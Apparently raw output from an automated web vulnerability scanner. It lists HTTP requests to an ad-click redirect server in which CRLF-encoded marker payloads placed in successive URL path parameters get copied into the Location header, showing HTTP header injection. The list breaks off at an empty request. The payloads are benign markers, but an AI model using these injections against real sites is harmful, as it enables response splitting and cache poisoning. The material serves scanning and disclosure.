GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=d1d25%0d%0aa6bf3daf369 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 10 is copied into the Location response header. The payload 6be6d%0d%0a319c4e9da96 was submitted in the REST URL parameter 10. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/6be6d%0d%0a319c4e9da96/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 11 is copied into the Location response header. The payload 666e5%0d%0a192a02a2baf was submitted in the REST URL parameter 11. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/666e5%0d%0a192a02a2baf/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 12 is copied into the Location response header. The payload cfa7e%0d%0ae6cd7c479db was submitted in the REST URL parameter 12. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/cfa7e%0d%0ae6cd7c479db/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 13 is copied into the Location response header. The payload da7af%0d%0ad7c94f7af3e was submitted in the REST URL parameter 13. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/da7af%0d%0ad7c94f7af3e/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 14 is copied into the Location response header. The payload e9019%0d%0ad83d5d2d9a9 was submitted in the REST URL parameter 14. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/e9019%0d%0ad83d5d2d9a9/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 15 is copied into the Location response header. The payload a2350%0d%0a75336dd4efc was submitted in the REST URL parameter 15. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/a2350%0d%0a75336dd4efc/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 16 is copied into the Location response header. The payload dee83%0d%0a6de87aa61b3 was submitted in the REST URL parameter 16. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/dee83%0d%0a6de87aa61b3/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 17 is copied into the Location response header. The payload 55231%0d%0a41eb9b5b7e2 was submitted in the REST URL parameter 17. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/55231%0d%0a41eb9b5b7e2/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 18 is copied into the Location response header. The payload dcb7f%0d%0a0409d70ef79 was submitted in the REST URL parameter 18. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/dcb7f%0d%0a0409d70ef79/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 19 is copied into the Location response header. The payload e40b7%0d%0a009033edb6b was submitted in the REST URL parameter 19. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/e40b7%0d%0a009033edb6b HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is copied into the Location response header. The payload 98627%0d%0a63aef2eccd5 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/98627%0d%0a63aef2eccd5/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 4 is copied into the Location response header. The payload 4bdfc%0d%0a7f541205292 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/4bdfc%0d%0a7f541205292/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 5 is copied into the Location response header. The payload 2b87a%0d%0ac9befaa23d0 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aWmN7EXWUAndTy46vR5Vj9UcrbVVriPPrOTHYVWrbX3bisWajnVEn9QTULQGQKQFAqPtniWGv35rXtoWysYqev2HMASGJZa4PUZamdAyTWfeYrf91FF90qipPbQBUbvXVHJ5mF3mQFjnXa3y3EJg4TQQnajFXrJfWE79xdc4wS/http:/b3.mookie1.com/2b87a%0d%0ac9befaa23d0/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/1711169344/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 6 is copied into the Location response header. The payload f77aa%0d%0a016a8b52948 was submitted in the REST URL parameter 6. This caused a response containing an injected HTTP header.
Request
